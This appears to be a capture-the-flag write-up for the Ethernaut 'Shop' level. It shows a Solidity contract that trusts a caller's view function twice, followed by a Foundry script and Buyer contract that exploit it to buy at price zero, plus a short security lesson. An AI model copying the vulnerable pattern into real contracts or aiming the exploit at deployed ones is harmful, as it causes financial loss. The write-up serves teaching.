Shop

Сan you get the item from the shop for less than the price asked?

Things that might help:

  • Shop expects to be used from a Buyer
  • Understanding restrictions of view functions
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

Solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";
import "forge-std/console.sol";

import {Buyer, Shop} from '../src/21.sol';

contract POC is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        address addr = vm.envAddress("INSTANCE_21");

        vm.startBroadcast(deployerPrivateKey);

        Buyer buyer = new Buyer(addr);
        buyer.buy();

        Shop shop = Shop(addr);

        console.logBool(shop.isSold());
        console.logUint(shop.price());

        vm.stopBroadcast();

    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface Shop {
  function isSold() external view returns(bool);
  function price() external view returns(uint);
  function buy() external;
}

contract Buyer {
  Shop shop;

  constructor(address _shop) {
    shop = Shop(_shop); 
  }

  function price() public view returns (uint p) {
    if (shop.isSold() == true) {
      return 0;
    }
    return 100;
  }

  function buy() public {
    shop.buy();
  }
}

Contracts can manipulate data seen by other contracts in any way they want.

It’s unsafe to change the state based on external and untrusted contracts logic.